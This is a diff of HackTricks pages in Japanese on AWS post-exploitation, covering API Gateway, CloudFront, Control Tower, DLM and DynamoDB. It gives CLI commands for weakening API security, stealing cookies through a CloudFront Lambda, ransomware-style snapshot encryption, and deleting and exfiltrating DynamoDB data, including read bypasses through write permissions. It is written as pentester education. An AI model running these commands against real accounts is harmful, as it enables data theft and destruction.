+aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Potential Impact**: APIのセキュリティが弱まり、不正アクセスや機密情報が漏洩する可能性があります。
+
+> [!NOTE]
+> テストが必要
+
+### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
+
+権限 `apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan`、および `apigateway:CreateUsagePlanKey` を持つ攻撃者は、**新しい API keys を作成し、それらを usage plans に関連付け、これらのキーを使って APIs へ不正アクセスを行うことができます**。
+```bash
+# Create a new API key
+API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
+
+# Create a new usage plan
+USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
+
+# Associate the API key with the usage plan
+aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
+```
+**潜在的影響**: APIリソースへの不正アクセス、セキュリティコントロールのバイパス。
+
+> [!NOTE]
+> テストが必要
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md

@@ -1,31 +0,0 @@
-# AWS - CloudFront ポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFront
-
-詳細については、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-cloudfront-enum.md
-{{#endref}}
-
-### 中間者攻撃
-
-この[**ブログ投稿**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)では、**Lambda**を**CloudFront**を通じた**通信**に追加（または既に使用されている場合は変更）することで、ユーザー情報（セッション**クッキー**など）を**盗む**ことと、**応答**を**変更**する（悪意のあるJSスクリプトを注入する）いくつかの異なるシナリオが提案されています。
-
-#### シナリオ 1: CloudFrontがバケットのHTMLにアクセスするように設定されているMitM
-
-- **悪意のある** **関数**を**作成**します。
-- CloudFrontディストリビューションに**関連付け**ます。
-- **イベントタイプを「Viewer Response」に設定**します。
-
-応答にアクセスすることで、ユーザーのクッキーを盗み、悪意のあるJSを注入できます。
-
-#### シナリオ 2: CloudFrontが既にlambda関数を使用しているMitM
-
-- 機密情報を盗むためにlambda関数の**コードを変更**します。
-
-このシナリオを再現するための[**tfコードはこちら**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)で確認できます。
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md

@@ -0,0 +1,31 @@
+# AWS - CloudFront Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFront
+
+詳細は以下を参照してください:
+
+{{#ref}}
+../../aws-services/aws-cloudfront-enum.md
+{{#endref}}
+
+### Man-in-the-Middle
+
+This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) は、**Lambda** が **CloudFront** を通した通信に追加（すでに使用されている場合は修正）され、セッションの **cookie** のようなユーザ情報を**stealing**し、**response** を**modifying**（悪意のある JS スクリプトを注入）する目的で使われるいくつかのシナリオを示しています。
+
+#### scenario 1: CloudFront が bucket の HTML にアクセスするよう設定されている場合の MitM
+
+- 悪意のある **function** を **作成** する。
+- それを CloudFront distribution に **関連付け** する。
+- **イベントタイプを "Viewer Response" に設定する。**
+
+レスポンスにアクセスすることで、ユーザの cookie を盗み、悪意のある JS を注入できます。
+
+#### scenario 2: CloudFront がすでに lambda function を使用している場合の MitM
+
+- lambda function の **code を変更** して機密情報を盗む。
+
+You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md

@@ -1,18 +1,18 @@
 # AWS - Control Tower Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Control Tower
 
 {{#ref}}
-../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
+../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
 {{#endref}}
 
 ### コントロールの有効化 / 無効化
 
-アカウントをさらに悪用するために、Control Towerのコントロールを無効化/有効化する必要があるかもしれません:
+アカウントをさらに exploit するには、Control Tower のコントロールを無効化/有効化する必要があるかもしれません:
 ```bash
 aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
 aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md

@@ -1,91 +0,0 @@
-# AWS - DLMポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## データライフサイクルマネージャー (DLM)
-
-### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-
-ランサムウェア攻撃は、できるだけ多くのEBSボリュームを暗号化し、その後現在のEC2インスタンス、EBSボリューム、およびスナップショットを削除することで実行できます。この悪意のある活動を自動化するために、Amazon DLMを使用し、別のAWSアカウントのKMSキーでスナップショットを暗号化し、暗号化されたスナップショットを別のアカウントに転送することができます。あるいは、暗号化なしでスナップショットを管理しているアカウントに転送し、そこで暗号化することも可能です。既存のEBSボリュームやスナップショットを直接暗号化するのは簡単ではありませんが、新しいボリュームやスナップショットを作成することで可能です。
-
-まず、インスタンスID、ボリュームID、暗号化ステータス、アタッチメントステータス、ボリュームタイプなどのボリュームに関する情報を収集するためのコマンドを使用します。
-
-`aws ec2 describe-volumes`
-
-次に、ライフサイクルポリシーを作成します。このコマンドはDLM APIを使用して、指定されたボリュームの毎日のスナップショットを指定された時間に自動的に取得するライフサイクルポリシーを設定します。また、スナップショットに特定のタグを適用し、ボリュームからスナップショットにタグをコピーします。policyDetails.jsonファイルには、ターゲットタグ、スケジュール、暗号化のためのオプションのKMSキーのARN、スナップショット共有のためのターゲットアカウントなど、ライフサイクルポリシーの詳細が含まれており、被害者のCloudTrailログに記録されます。
-```bash
-aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
-```
-ポリシー文書のテンプレートはここにあります:
-```bash
-{
-"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
-"ResourceTypes": [
-"VOLUME"
-],
-"TargetTags": [
-{
-"Key": "ExampleKey",
-"Value": "ExampleValue"
-}
-],
-"Schedules": [
-{
-"Name": "DailySnapshots",
-"CopyTags": true,
-"TagsToAdd": [
-{
-"Key": "SnapshotCreator",
-"Value": "DLM"
-}
-],
-"VariableTags": [
-{
-"Key": "CostCenter",
-"Value": "Finance"
-}
-],
-"CreateRule": {
-"Interval": 24,
-"IntervalUnit": "HOURS",
-"Times": [
-"03:00"
-]
-},
-"RetainRule": {
-"Count": 14
-},
-"FastRestoreRule": {
-"Count": 2,
-"Interval": 12,
-"IntervalUnit": "HOURS"
-},
-"CrossRegionCopyRules": [
-{
-"TargetRegion": "us-west-2",
-"Encrypted": true,
-"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
-"CopyTags": true,
-"RetainRule": {
-"Interval": 1,
-"IntervalUnit": "DAYS"
-}
-}
-],
-"ShareRules": [
-{
-"TargetAccounts": [
-"123456789012"
-],
-"UnshareInterval": 30,
-"UnshareIntervalUnit": "DAYS"
-}
-]
-}
-],
-"Parameters": {
-"ExcludeBootVolume": false
-}
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md

@@ -0,0 +1,91 @@
+# AWS - DLM Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Data Lifecycle Manger (DLM)
+
+### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
+
+A ransomware attackは、可能な限り多くの EBS volumes を暗号化し、その後現在の EC2 instances、EBS volumes、および snapshots を消去することで実行できます。この悪意のある活動を自動化するために、Amazon DLM を利用して、別の AWS account の KMS key で snapshots を暗号化し、暗号化された snapshots を別のアカウントに転送することができます。あるいは、暗号化せずに自分が管理するアカウントに snapshots を転送し、そこで暗号化する方法もあります。既存の EBS volumes や snapshots を直接暗号化するのは簡単ではありませんが、新しい volume や snapshot を作成することで暗号化することが可能です。
+
+まず最初に、instance ID、volume ID、暗号化の有無（encryption status）、アタッチ状態（attachment status）、volume type などの volume に関する情報を収集するために次のコマンドを使用します。
+
+`aws ec2 describe-volumes`
+
+次に、lifecycle policy を作成します。このコマンドは DLM API を利用して、指定したボリュームの snapshots を所定の時刻に毎日自動取得する lifecycle policy を設定します。さらに、snapshots に特定のタグを付与し、ボリュームから snapshots へタグをコピーします。policyDetails.json ファイルには、ターゲットタグ、スケジュール、暗号化用の任意の KMS key の ARN、スナップショット共有先のターゲットアカウントなど、lifecycle policy の詳細が含まれており、これらは被害者の CloudTrail ログに記録されます。
+```bash
+aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
+```
+ポリシー文書のテンプレートはここで確認できます:
+```bash
+{
+"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
+"ResourceTypes": [
+"VOLUME"
+],
+"TargetTags": [
+{
+"Key": "ExampleKey",
+"Value": "ExampleValue"
+}
+],
+"Schedules": [
+{
+"Name": "DailySnapshots",
+"CopyTags": true,
+"TagsToAdd": [
+{
+"Key": "SnapshotCreator",
+"Value": "DLM"
+}
+],
+"VariableTags": [
+{
+"Key": "CostCenter",
+"Value": "Finance"
+}
+],
+"CreateRule": {
+"Interval": 24,
+"IntervalUnit": "HOURS",
+"Times": [
+"03:00"
+]
+},
+"RetainRule": {
+"Count": 14
+},
+"FastRestoreRule": {
+"Count": 2,
+"Interval": 12,
+"IntervalUnit": "HOURS"
+},
+"CrossRegionCopyRules": [
+{
+"TargetRegion": "us-west-2",
+"Encrypted": true,
+"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
+"CopyTags": true,
+"RetainRule": {
+"Interval": 1,
+"IntervalUnit": "DAYS"
+}
+}
+],
+"ShareRules": [
+{
+"TargetAccounts": [
+"123456789012"
+],
+"UnshareInterval": 30,
+"UnshareIntervalUnit": "DAYS"
+}
+]
+}
+],
+"Parameters": {
+"ExcludeBootVolume": false
+}
+}
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md

@@ -1,18 +1,18 @@
 # AWS - DynamoDB Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## DynamoDB
 
-For more information check:
+詳細は以下を参照してください:
 
 {{#ref}}
-../aws-services/aws-dynamodb-enum.md
+../../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
 ### `dynamodb:BatchGetItem`
 
-この権限を持つ攻撃者は、**プライマリキーによってテーブルからアイテムを取得**できます（テーブルの全データを一度に要求することはできません）。つまり、プライマリキーを知っている必要があり（テーブルのメタデータを取得して得られます (`describe-table`)）、そのキーに基づいてアイテムを取得します。
+この権限を持つ攻撃者は、**主キーでテーブルからアイテムを取得する**ことができます（テーブルの全データを一度に要求することはできません）。つまり、主キーを知っている必要があります（テーブルのメタデータを取得することで確認できます（`describe-table`））。
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Potential Impact:** テーブル内の機密情報を特定することで間接的に privesc を引き起こす可能性
+**Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc を引き起こす
 
 ### `dynamodb:GetItem`
 
-**Similar to the previous permissions** この権限は前の権限と同様に、潜在的な attacker が取得するエントリの primary key を指定することで、1つのテーブルから値を読み取ることを許可します:
+**前の権限と同様に** この権限は、潜在的な攻撃者が取得するエントリの主キーを指定した場合に、1つのテーブルから値を読み取ることを許可します:
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
 }
 ]
 ```
-**Potential Impact:** テーブル内の機密情報を特定することによる間接的な privesc
+**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な privesc
 
 ### `dynamodb:Query`
 
-**Similar to the previous permissions** この権限は、エントリを取得するための主キーがわかっている場合に、1つのテーブルから値を読み取ることを潜在的な攻撃者に許します。これは[subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)の使用を許可しますが、主キー（必ず指定される）に対して許可される比較は "EQ" のみであるため、1つのリクエストでDB全体を取得するために比較を使うことはできません。
+**前の権限と同様に** この権限は、取得対象エントリの主キーが分かれば攻撃者に対して1つのテーブルから値を読み取ることを許可します。比較の[サブセット](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)を使用できますが、主キー（必ず指定する必要がある）に対して許可されている比較は "EQ" のみであり、比較を使ってリクエストでデータベース全体を取得することはできません。
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -107,35 +107,35 @@ aws dynamodb query \
 {{#endtab }}
 {{#endtabs }}
 
-**Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc
+**Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc を引き起こす可能性
 
 ### `dynamodb:Scan`
 
-この権限を使用すると、**dump the entire table easily**。
+この権限を使用して、**dump the entire table easily**。
 ```bash
 aws dynamodb scan --table-name <t_name> #Get data inside the table
 ```
-**潜在的な影響:** テーブル内の機密情報を特定することで間接的な privesc が発生する可能性がある
+**想定される影響:** テーブル内の機密情報を特定することで間接的な privesc
 
 ### `dynamodb:PartiQLSelect`
 
-この権限を使用すると、**dump the entire table easily**。
+この権限を使用すると、**テーブル全体を簡単に dump できます**。
 ```bash
 aws dynamodb execute-statement \
 --statement "SELECT * FROM ProductCatalog"
 ```
-この権限により `batch-execute-statement` のような操作を実行することもできます：
+この権限は `batch-execute-statement` の実行も許可します。例えば:
 ```bash
 aws dynamodb batch-execute-statement \
 --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
 ```
-ただし、プライマリキーに値を指定する必要があるため、それほど有用ではありません。
+ただし、主キーに値を指定する必要があるため、それほど有用ではない。
 
-**潜在的な影響:** テーブル内の機密情報を特定することで間接的に privesc を引き起こす可能性
+**潜在的影響:** テーブル内の機密情報を特定することで間接的な privesc を引き起こす可能性がある
 
 ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
 
-この権限により攻撃者は **export the whole table to a S3 bucket** を任意に実行できます:
+この権限により、attacker は選択した S3 バケットに**テーブル全体をエクスポートできる**：
 ```bash
 aws dynamodb export-table-to-point-in-time \
 --table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,33 +144,34 @@ aws dynamodb export-table-to-point-in-time \
 --export-time <point_in_time> \
 --region <region>
 ```
-この操作が動作するには、テーブルで point-in-time-recovery が有効になっている必要があります。テーブルに有効かどうかは次の方法で確認できます:
+これが機能するには、テーブルで point-in-time-recovery が有効になっている必要があることに注意してください。テーブルに有効かどうかは次のコマンドで確認できます:
 ```bash
 aws dynamodb describe-continuous-backups \
 --table-name <tablename>
 ```
-有効になっていない場合は、**有効化する必要があります**、そのためには **`dynamodb:ExportTableToPointInTime`** 権限が必要です:
+有効になっていない場合は、**有効にする**必要があり、そのためには**`dynamodb:ExportTableToPointInTime`**権限が必要です:
 ```bash
 aws dynamodb update-continuous-backups \
 --table-name <value> \
 --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
 ```
-**Potential Impact:** テーブル内の機密情報を特定することでの間接的な privesc
+**Potential Impact:** テーブル内の機密情報を特定することによる間接的なprivesc
 
-### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` 
+### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
 
-これらの権限があれば、攻撃者は**バックアップから新しいテーブルを作成する**ことができます（あるいは別のテーブルに復元するためにバックアップを作成することさえ可能です）。その後、必要な権限があれば、攻撃者はバックアップから**情報**を確認でき、c**本番テーブルにはもはや存在しない可能性のあるデータ**を確認できます。
+
+With these permissions, an attacker would be able to **バックアップから新しいテーブルを作成する** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **情報** from the backups that **もはや本番テーブルには存在しない**.
 ```bash
 aws dynamodb restore-table-from-backup \
 --backup-arn <source-backup-arn> \
 --target-table-name <new-table-name> \
 --region <region>
 ```
-**潜在的な影響:** テーブルのバックアップ内の機密情報を特定することで間接的な privesc を引き起こす可能性
+**Potential Impact:** テーブルのバックアップ内の機密情報を特定することによる間接的な privesc
 
 ### `dynamodb:PutItem`
 
-この権限により、ユーザーは**テーブルに新しいアイテムを追加するか既存のアイテムを新しいアイテムで置き換える**ことができます。もし同じプライマリキーを持つアイテムが既に存在する場合、**アイテム全体が新しいアイテムで置き換えられます**。プライマリキーが存在しない場合、指定したプライマリキーを持つ新しいアイテムが**作成されます**。
+この権限は、ユーザーがテーブルに**新しいアイテムを追加するか、既存のアイテムを新しいアイテムで置き換える**ことを許可します。同じ主キーを持つアイテムが既に存在する場合、**アイテム全体が新しいアイテムで置き換えられます**。主キーが存在しない場合、指定された主キーを持つ新しいアイテムが**作成されます**。
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -202,11 +203,11 @@ aws dynamodb put-item \
 {{#endtab }}
 {{#endtabs }}
 
-**潜在的な影響：** DynamoDB テーブルのデータを追加/変更できることで、さらなる脆弱性やバイパスが悪用される可能性があります
+**Potential Impact:** DynamoDBテーブルにデータを追加/変更できることで、さらなる脆弱性やバイパスが悪用される可能性があります
 
 ### `dynamodb:UpdateItem`
 
-この権限により、ユーザーは **アイテムの既存の属性を変更するか、アイテムに新しい属性を追加する** ことができます。これはアイテム全体を**置き換える**ものではなく、指定された属性のみを更新します。テーブルにプライマリキーが存在しない場合、操作は指定したプライマリキーで**新しいアイテムを作成し**、更新式で指定された属性を設定します。
+この権限はユーザーにアイテムの既存の属性を**変更したり新しい属性を追加したりする**ことを許可します。アイテム全体を**置換するものではなく**、指定された属性のみを更新します。テーブルにプライマリキーが存在しない場合、操作は指定したプライマリキーで**新しいアイテムを作成**し、更新式で指定された属性を設定します。
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -242,43 +243,43 @@ aws dynamodb update-item \
 {{#endtab }}
 {{#endtabs }}
 
-**潜在的な影響:** DynamoDB テーブルにデータを追加/変更できることで、さらなる脆弱性やバイパスが悪用される可能性
+**潜在的な影響:** DynamoDB テーブルにデータを追加/変更できることで、さらなる vulnerabilities/bypasses の悪用につながる可能性がある
 
 ### `dynamodb:DeleteTable`
 
-この権限を持つ攻撃者は**DynamoDB テーブルを削除してデータ損失を引き起こすことができる**。
+この権限を持つ攻撃者は、**DynamoDB テーブルを削除してデータ損失を引き起こすことができます**。
 ```bash
 aws dynamodb delete-table \
 --table-name TargetTable \
 --region <region>
 ```
-**潜在的な影響**: 削除されたテーブルに依存するサービスのデータ損失および中断。
+**潜在的な影響**: データの喪失および削除されたテーブルに依存するサービスの中断。
 
 ### `dynamodb:DeleteBackup`
 
-この権限を持つ攻撃者は **DynamoDB のバックアップを削除でき、災害復旧時にデータ損失を引き起こす可能性がある**。
+この権限を持つ攻撃者は、**DynamoDB のバックアップを削除でき、災害復旧のシナリオでデータ損失を引き起こす可能性があります**。
 ```bash
 aws dynamodb delete-backup \
 --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
 --region <region>
 ```
-**潜在的影響**: 災害復旧シナリオにおいてバックアップから復旧できないことやデータ損失。
+**Potential impact**: データの損失および障害復旧時にバックアップから復旧できない可能性。
 
 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
 
 > [!NOTE]
 > TODO: 実際に動作するかテストする
 
-これらの権限を持つ攻撃者は、**DynamoDB テーブルで stream を有効化し、テーブルを更新して変更の streaming を開始し、その後 stream にアクセスしてテーブルの変更をリアルタイムで監視する**ことができます。これにより攻撃者はデータの変更を監視および exfiltrate し、潜在的に data leakage を引き起こす可能性があります。
+これらの権限を持つ攻撃者は、**DynamoDBテーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、そのストリームにアクセスしてテーブルの変更をリアルタイムで監視することができます**。これにより、攻撃者はデータの変更を監視および exfiltrate し、最終的に data leakage を引き起こす可能性があります。
 
-1. DynamoDB テーブルで stream を有効化する:
+1. DynamoDBテーブルでストリームを有効にする:
 ```bash
 aws dynamodb update-table \
 --table-name TargetTable \
 --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
 --region <region>
 ```
-2. ストリームを説明して、ARN やその他の詳細を取得する:
+2. ストリームを説明して、ARNやその他の詳細を取得する:
 ```bash
 aws dynamodb describe-stream \
 --table-name TargetTable \
@@ -292,22 +293,22 @@ aws dynamodbstreams get-shard-iterator \
 --shard-iterator-type LATEST \
 --region <region>
 ```
-4. shard iterator を使用して stream からデータにアクセスし、exfiltrate します:
+4. shard iterator を使用して stream からデータにアクセスし、exfiltrate する:
 ```bash
 aws dynamodbstreams get-records \
 --shard-iterator <shard_iterator> \
 --region <region>
 ```
-**Potential impact**: DynamoDB テーブルの変更のリアルタイム監視および data leakage。
+**潜在的な影響**: DynamoDB テーブルの変更をリアルタイムで監視でき、データの漏洩が発生する可能性があります。
 
 ### `dynamodb:UpdateItem` と `ReturnValues=ALL_OLD` を使ってアイテムを読み取る
 
-`dynamodb:UpdateItem` の権限のみを持つ攻撃者は、通常の読み取り権限（`GetItem`/`Query`/`Scan`）を一切持たなくても、無害な更新を実行して `--return-values ALL_OLD` を要求することでアイテムを読み取ることができます。DynamoDB はレスポンスの `Attributes` フィールドに更新前のアイテムの完全なイメージを返します（これは RCUs を消費しません）。
+テーブルに対して `dynamodb:UpdateItem` の権限のみを持つ攻撃者は、通常の読み取り権限（`GetItem`/`Query`/`Scan`）がなくても、無害な更新を行い `--return-values ALL_OLD` を要求することでアイテムを読み取れます。DynamoDB はレスポンスの `Attributes` フィールドに更新前のアイテムの完全なイメージを返します（これは RCU を消費しません）。
 
-- 最小権限: ターゲットのテーブル/キーに対する `dynamodb:UpdateItem`。
-- 前提条件: アイテムの主キーを知っている必要があります。
+- 必要最小限の権限: 対象テーブル/キーに対する `dynamodb:UpdateItem`
+- 前提条件: アイテムのプライマリキーを把握していること
 
-例（無害な属性を追加し、レスポンスで前のアイテムを exfiltrates する）:
+例（無害な属性を追加し、レスポンスで更新前のアイテムを持ち出す）:
 ```bash
 aws dynamodb update-item \
 --table-name <TargetTable> \
@@ -318,14 +319,14 @@ aws dynamodb update-item \
 --return-values ALL_OLD \
 --region <region>
 ```
-CLIのレスポンスには、完全な前回のアイテム（すべての属性）を含む`Attributes`ブロックが含まれます。これにより、書き込み専用アクセスから事実上の読み取りプリミティブが提供されます。
+CLI のレスポンスには、完全な previous item（すべての属性）を含む `Attributes` ブロックが含まれ、書き込み専用アクセスから事実上の read primitive を提供します。
 
-**潜在的な影響:** 書き込み権限のみでテーブルから任意の項目を読み取ることが可能になり、プライマリキーが既知の場合に機密データのexfiltrationを可能にします。
+**Potential Impact:** 主キーが既知の場合、書き込み権限のみでテーブルから任意の項目を読み取り、機密データの exfiltration を可能にします。
 
 
 ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
 
-新しいレプリカ Region をDynamoDB Global Table（version 2019.11.21）に追加することでStealth exfiltrationが行えます。プリンシパルがリージョナルレプリカを追加できる場合、テーブル全体が攻撃者が選択したRegionにレプリケートされ、そこから攻撃者はすべてのアイテムを読み取ることができます。
+DynamoDB Global Table (version 2019.11.21) に新しい replica Region を追加することでの Stealth exfiltration。もし principal が regional replica を追加できる場合、テーブル全体が attacker-chosen Region にレプリケートされ、そこから attacker はすべてのアイテムを読み取れます。
 
 {{#tabs }}
 {{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -354,13 +355,13 @@ aws dynamodb update-table \
 {{#endtab }}
 {{#endtabs }}
 
-権限: `dynamodb:UpdateTable`（`replica-updates` を含む）または対象テーブルに対する `dynamodb:CreateTableReplica`。レプリカで CMK が使用されている場合、そのキーに対する KMS 権限が必要になることがあります。
+権限: `dynamodb:UpdateTable` (with `replica-updates`) または `dynamodb:CreateTableReplica` を対象テーブルに対して持っている必要があります。レプリカで CMK が使用されている場合、そのキーに対する KMS 権限が必要になることがあります。
 
-潜在的影響: 攻撃者が制御するリージョンへのテーブル全体のレプリケーションにより、ステルスなデータ持ち出しが発生する可能性があります。
+想定される影響: 攻撃者が制御するリージョンへのテーブル全体のレプリケーションにより、検知されにくいデータ流出が発生する可能性があります。
 
-### `dynamodb:TransactWriteItems` (条件失敗による読み取り + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
+### `dynamodb:TransactWriteItems` (失敗した条件による読み取り + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
 
-トランザクション書き込み権限を持つ攻撃者は、`TransactWriteItems` 内で `Update` を行い、意図的に `ConditionExpression` を失敗させつつ `ReturnValuesOnConditionCheckFailure=ALL_OLD` を設定することで、既存アイテムの全属性を抜き出すことができます。失敗時、DynamoDB はトランザクションのキャンセル理由に以前の属性を含めるため、書き込み専用アクセスが対象キーの読み取りアクセスに実質的に変わります。
+トランザクション書き込み権限を持つ攻撃者は、`TransactWriteItems` 内で `Update` を実行し、意図的に `ConditionExpression` を失敗させつつ `ReturnValuesOnConditionCheckFailure=ALL_OLD` を設定することで、既存アイテムの完全な属性を持ち出すことができます。失敗時、DynamoDB はトランザクションのキャンセル理由に以前の属性を含めるため、特定キーに対する書き込み専用のアクセスを事実上読み取りアクセスに変換します。
 
 {{#tabs }}
 {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -409,21 +410,21 @@ print(e.response['CancellationReasons'][0]['Item'])
 {{#endtab }}
 {{#endtabs }}
 
-権限: `dynamodb:TransactWriteItems` を対象テーブル（および基になるアイテム）に対して。読み取り権限は不要です。
+権限: `dynamodb:TransactWriteItems` on the target table (and the underlying item). 読み取り権限は不要です。
 
-潜在的影響: 返されるキャンセル理由を利用して、トランザクションの書き込み権限のみでテーブルから主キーによる任意のアイテムを読み取ることができます。
+潜在的影響: 返却されるキャンセル理由を利用して、トランザクション書き込み権限のみでテーブルから（主キー指定で）任意のアイテムを読み取ることが可能です。
 
 
-### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query`（GSI上）
+### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
 
-低エントロピー属性に対して `ProjectionType=ALL` の Global Secondary Index (GSI) を作成し、その属性をアイテム間で一定の値に設定してから、インデックスを `Query` して完全なアイテムを取得することで、読み取り制限を回避します。ベーステーブルでの `Query`/`Scan` が拒否されていても、インデックスの ARN に対してクエリできれば動作します。
+低エントロピー属性に `ProjectionType=ALL` の Global Secondary Index (GSI) を作成し、その属性をアイテム間で一定の値に設定してからインデックスを `Query` して完全なアイテムを取得することで、読み取り制限を回避します。ベーステーブルでの `Query`/`Scan` が拒否されていても、インデックスの ARN に対してクエリできればこの手法は機能します。
 
-- 最小権限:
-- `dynamodb:UpdateTable` を対象テーブルに対して（`ProjectionType=ALL` の GSI を作成するため）。
-- `dynamodb:UpdateItem` を対象テーブルのキーに対して（各アイテムのインデックス化された属性を設定するため）。
-- `dynamodb:Query` をインデックスのリソースARN（`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`）に対して。
+- 最低限の権限:
+- `dynamodb:UpdateTable` on the target table (`ProjectionType=ALL` の GSI を作成するため)。
+- `dynamodb:UpdateItem` on the target table keys（各アイテムのインデックス対象属性を設定するため）。
+- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
 
-手順（PoC in us-east-1）：
+手順（PoC: us-east-1）：
 ```bash
 # 1) Create table and seed items (without the future GSI attribute)
 aws dynamodb create-table --table-name HTXIdx \
@@ -461,17 +462,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
 --expression-attribute-values '{":v":{"S":"dump"}}' \
 --region us-east-1
 ```
-**Potential Impact:** ベーステーブルの読み取りAPIが拒否されている場合でも、すべての属性をプロジェクトする新規作成された GSI をクエリすることでテーブル全体を持ち出せる可能性があります。
+**Potential Impact:** 新しく作成した GSI をクエリして全ての属性を投影することで、ベーステーブルの読み取り APIs が拒否されている場合でもテーブル全体の exfiltration が発生する可能性があります。
 
 
-### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
+### `dynamodb:EnableKinesisStreamingDestination` (Kinesis Data Streams を使った継続的な exfiltration)
 
